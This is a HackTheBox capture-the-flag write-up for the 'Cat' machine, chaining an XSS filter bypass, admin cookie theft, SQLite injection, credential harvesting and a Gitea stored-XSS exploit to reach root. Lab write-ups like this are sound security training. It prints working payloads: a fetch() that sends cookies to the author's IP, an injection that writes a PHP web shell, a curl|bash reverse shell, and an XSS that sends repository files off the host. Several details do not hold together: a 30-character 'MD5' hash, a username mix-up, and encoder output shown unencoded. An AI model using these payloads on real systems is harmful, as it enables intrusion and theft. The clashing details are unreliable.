HTB: Cat Writeup
Cat - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Cat |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | June 10, 2025 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Cat is a medium-difficulty Linux machine featuring a custom PHP web application vulnerable to cross-site scripting (XSS) through improper input sanitization and insecure use of GET requests for authentication. The machine chains multiple vulnerabilities including XSS filter bypass via HTML entity encoding, cookie hijacking, SQL injection on a SQLite database to achieve remote code execution, credential extraction from Apache logs, and exploitation of a Gitea 1.22.0 instance vulnerable to CVE-2024-6886 (stored XSS) to leak credentials for root access.
TL;DR: Bypass XSS filter → Hijack admin cookie → SQL injection RCE → Extract credentials from logs → Exploit Gitea CVE-2024-6886 → Retrieve root password from private repository.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.231.253Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1180/tcp open http Apache httpd 2.4.41 (Ubuntu)Key Findings:
- Git repository exposed at
/.git/ - PHPSESSID cookie missing HttpOnly flag
- Apache 2.4.41 running on port 80
Service Enumeration
Web Application (Port 80):
The application is a “Best Cat Competition” web service built in PHP. Users can register accounts, upload cat photos for a contest, and administrators can review submissions.
# Extract Git repositorygit clone https://github.com/arthaud/git-dumper.git./git_dumper.py http://cat.htb git_repo
# Add hostname to hosts fileecho "10.129.231.253 cat.htb" | sudo tee -a /etc/hosts
# Directory enumerationffuf -w ~/wordlists/raft-medium-words.txt -u "http://cat.htb/FUZZ" -c -fc 403Discovered Endpoints:
/join.php- Registration and login/contest.php- Photo upload functionality/admin.php- Admin panel for reviewing submissions/uploads/- Uploaded files directory
Vulnerability Assessment
-
XSS Vulnerability (Critical): The
view_cat.phpfile does not sanitize user input when rendering uploaded cat names in image alt attributes. The application uses a regex blacklist that does not include the double quote character ("), allowing HTML injection. -
Insecure Authentication (High): User authentication uses GET requests instead of POST, logging credentials in Apache access logs.
-
SQL Injection (Critical): The
accept_cat.phpfile is vulnerable to SQL injection in the cat name parameter—it does not use prepared statements. -
Improper Session Security (Medium): Session cookies lack the HttpOnly flag, making them accessible to JavaScript.
Initial Foothold
Step 1: XSS Filter Bypass via HTML Entity Encoding
The application blacklists certain characters: !@#$%^&*()/;() but misses the double quote. The view_cat.php renders cat names directly without sanitization:
<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">By injecting a filename with quotes and the onerror event, we can break out of the alt attribute. However, parentheses are blacklisted, so we encode our JavaScript payload to hex HTML entities.
Python encoder script:
#!/usr/bin/python3import sys
if len(sys.argv) != 2: print(f'[!] Usage: {sys.argv[0]} <payload>') sys.exit(1)
string = sys.argv[1]
def Encoding(string): output = '' for character in string: output += '&#x' + hex(ord(character))[2:] return output
if __name__ == '__main__': hexHtmlEncoding = Encoding(string) print(hexHtmlEncoding)Payload construction:
# Original JavaScript payloadpayload="fetch('http://10.10.14.91:8000/?cookie=' + document.cookie);"
# Encode to hex HTML entitiespython3 encoder.py "$payload"# Output: fetch('http://10.10.14.91:8000/?cookie=' + document.cookie);Step 2: Upload Malicious File and Hijack Admin Cookie
Create a corrupted image file with the XSS payload in the filename:
# Create a minimal GIF file with XSS in filename# filename: x" onerror="fetch('http://10.10.14.91:8000/?cookie=' + document.cookie);" x="
# Upload via form with corrupted image contentecho "GIF89a;corrupted" > image.gif
# Start HTTP server to capture cookiespython3 -m http.server 8000Create an upload request in Burp Suite with the malicious filename. When the administrator reviews the submission and the browser tries to load the corrupted image, the onerror event fires, executing our JavaScript to fetch the admin’s cookie.
Captured admin cookie:PHPSESSID=kghvq2859ksg7fbf5sfvi7gvjkStep 3: SQL Injection for RCE
Replace your session cookie with the admin’s and navigate to /admin.php. The accept_cat.php endpoint accepts a POST request with catName and catId parameters. This function is vulnerable to SQL injection because it doesn’t use prepared statements.
// Vulnerable code in accept_cat.php// UPDATE cats SET status='approved' WHERE id='$catId' AND name='$catName'We can inject SQLite commands to create a web shell:
# SQLite payload to write a PHP web shellpayload="x');ATTACH DATABASE '/var/www/cat.htb/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (\"<?php system(\$_GET['cmd']); ?>\");--"
# URL encode the payloadurlencode_payload="x')%3bATTACH+DATABASE+'/var/www/cat.htb/lol.php'+AS+lol%3b+CREATE+TABLE+lol.pwn+(dataz+text)%3b+INSERT+INTO+lol.pwn+(dataz)+VALUES+(%22%3c%3fphp+system(%24_GET%5B'cmd'%5D)%3b+%3f%3e%22)%3b--"POST request to exploit:
POST /accept_cat.php HTTP/1.1Host: cat.htbContent-Type: application/x-www-form-urlencodedCookie: PHPSESSID=kghvq2859ksg7fbf5sfvi7gvjkContent-Length: 192
catName=x')%3bATTACH+DATABASE+'/var/www/cat.htb/lol.php'+AS+lol%3b+CREATE+TABLE+lol.pwn+(dataz+text)%3b+INSERT+INTO+lol.pwn+(dataz)+VALUES+(%22%3c%3fphp+system(%24_GET%5B'cmd'%5D)%3b+%3f%3e%22)%3b--&catId=1Step 4: Establish Reverse Shell
# Verify web shellcurl "http://cat.htb/lol.php?cmd=id"# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Create reverse shell scriptcat > shell.sh << 'EOF'#!/bin/bash/bin/bash -i >& /dev/tcp/10.10.14.91/10001 0>&1EOF
# Host it on Python serverpython3 -m http.server 8000
# Trigger reverse shell from web shellcurl "http://cat.htb/lol.php?cmd=curl%2010.10.14.91:8000/shell.sh|bash"Catch shell:
nc -lvnp 10001# Connected as www-dataPrivilege Escalation
Step 1: Extract Credentials from SQLite Database
www-data@cat:/databases$ sqlite3 /databases/cat.dbSQLite version 3.31.1 2020-01-27 19:55:54
sqlite> SELECT username,password FROM users;axel|<redacted>rosa|<redacted>robert|<redacted>fabian|<redacted>jerryson|<redacted>larry|<redacted>royer|c598f6b844a36fa7836fba0835f1f6peter|<redacted>angel|<redacted>jobert|<redacted>Step 2: Crack MD5 Hashes
# Extract crackable hashecho "royer:c598f6b844a36fa7836fba0835f1f6" > hash.txt
# Crack with Johnjohn -w=rockyou.txt hash.txt --format=Raw-MD5# Result: soyunaprincesarosa (rosa)Step 3: Leverage adm Group Membership
Switch to user rosa using the cracked password. Check group membership:
rosa@cat:~$ groupsrosa admThe adm group grants read access to Apache logs:
rosa@cat:/var/log/apache2$ ls -lah-rw-r----- 1 root adm 20M Jun 10 18:50 access.log-rw-r----- 1 root adm 195K Jan 31 12:30 access.log.1Step 4: Extract Credentials from Apache Logs
Grep the logs for login attempts (GET requests contain credentials):
rosa@cat:/var/log/apache2$ grep 'axel\|jobert' access.log | grep loginPassword127.0.0.1 - - [10/Jun/2025:18:53:29 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329Step 5: Switch to axel User
rosa@cat:~$ su axelPassword: aNdZwgC4tI9gnVXv_e3Qaxel@cat:~$ cat user.txt<redacted>Step 6: Discover Internal Gitea Service
Check for additional open ports on localhost:
axel@cat:~$ ss -tuln | grep LISTENtcp LISTEN 0 128 127.0.0.1:3000tcp LISTEN 0 128 127.0.0.1:25tcp LISTEN 0 128 127.0.0.1:587Review axel’s mail to discover Gitea at port 3000:
axel@cat:~$ cat /var/mail/axel# Reveals Gitea repository at http://localhost:3000/administrator/Employee-management/Step 7: Port Forward to Gitea via SSH
Create an SSH key pair and set up port forwarding:
axel@cat:~/.ssh$ ssh-keygen -t ed25519 -N ""# Generate key pair
axel@cat:~/.ssh$ cp id_ed25519.pub authorized_keysFrom attacker machine:
ssh -L 3000:127.0.0.1:3000 -i key.pem axel@cat.htb# Now access http://localhost:3000 locallyStep 8: Exploit Gitea CVE-2024-6886 (Stored XSS)
Gitea 1.22.0 is vulnerable to stored XSS in repository descriptions. Log in as axel with the same password discovered in logs: aNdZwgC4tI9gnVXv_e3Q
Vulnerability: Repository settings allow HTML injection in the description field.
Payload to extract README.md from administrator repository:
<a href="javascript:var req = new XMLHttpRequest();req.open('GET', 'http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php', false);req.send();var response = req.responseText;var req2 = new XMLHttpRequest();req2.open('GET', 'http://10.10.14.91:8000/?content=' + btoa(response), true);req2.send();">Click</a>Steps:
- Create a new repository or edit an existing one
- Navigate to Settings
- In the Description field, input the above payload
- Save changes
- Access the repository page and click the link to trigger the XSS
- The JavaScript will execute with your privileges and send the base64-encoded content to your server
Step 9: Decode Retrieved Content
When the administrator (or any user with access to that repository) views the page, the XSS executes and sends us the file content:
# Captured base64 responsecontent="PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLd..."
# Decode base64echo "$content" | base64 -d# Output:# <?php# $valid_username = 'admin';# $valid_password = 'IKw75eR0MR7CMIxhH0';# ...Step 10: Gain Root Access
Use the extracted credentials to switch to root:
axel@cat:~$ su rootPassword: IKw75eR0MR7CMIxhH0root@cat:~# cat root.txt<redacted>Attack Chain Summary
Exposed Git Repository ↓Code Review (Identify XSS Vulnerability) ↓XSS via Hex HTML Entities (Bypass Filter) ↓Cookie Hijacking (Admin Session) ↓SQL Injection (SQLite RCE via ATTACH DATABASE) ↓Web Shell Deployment ↓Reverse Shell as www-data ↓Extract Credentials (SQLite Database + MD5 Crack) ↓Lateral Movement (Switch to rosa via cracked password) ↓Read Apache Logs (adm group access) ↓Extract Credentials from Logs (axel password from GET request) ↓Lateral Movement (Switch to axel) ↓SSH Port Forwarding (Access internal Gitea) ↓Gitea CVE-2024-6886 (Stored XSS in repository description) ↓XXS Payload Execution (Read private repository files) ↓Extract Root Password (base64 decode leaked content) ↓Root Access via suTools Used
| Tool | Purpose |
|---|---|
nmap | Network reconnaissance and port scanning |
git-dumper | Extract exposed Git repositories |
ffuf | Directory and endpoint enumeration |
burp-suite | HTTP request interception and analysis |
sqlite3 | SQLite database query and extraction |
john | MD5 hash cracking |
curl | HTTP requests and web shell interaction |
nc | Netcat for reverse shell |
ssh | Port forwarding to internal services |
base64 | Encoding/decoding payload data |
Key Learnings
Techniques Practiced
- XSS Filter Bypass via Encoding: Bypassing regex-based input filters using hex HTML entity encoding (
&#xNN;) - Cookie Hijacking: Leveraging XSS to steal session cookies and impersonate administrators
- SQL Injection Exploitation: Injecting SQLite commands to achieve RCE via
ATTACH DATABASEandINSERT INTOstatements - Credential Extraction from Logs: Exploiting insecure GET-based authentication to recover credentials from server logs
- CVE-2024-6886 Exploitation: Stored XSS in Gitea repository descriptions for unauthorized information disclosure
- Lateral Movement Techniques: Chaining multiple credential sources (database, logs, APIs) to escalate privileges
- Port Forwarding for Internal Services: Using SSH tunneling to access services bound to localhost
Lessons Learned
-
Never log sensitive data in GET requests. Use POST requests for authentication to avoid credential exposure in access logs.
-
Input validation should use whitelists, not blacklists. The regex blacklist missed the double quote character, allowing breakout from HTML attributes.
-
Always sanitize output with context-aware encoding. Use
htmlspecialchars()for HTML context, not just sanitizing at input. -
Prepared statements prevent SQL injection. The vulnerable code should use parameterized queries instead of string concatenation.
-
Session cookies require security flags. The missing
HttpOnlyflag allowed JavaScript access to session identifiers. -
Keep systems and dependencies patched. Gitea 1.22.0’s CVE-2024-6886 demonstrates the importance of timely security updates.
-
File permissions matter. The
admgroup’s access to Apache logs was a critical escalation vector—principle of least privilege should restrict log access further. -
Repository exposure is critical. Exposed
.gitdirectories leak entire application source code, enabling attackers to identify vulnerabilities at scale.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>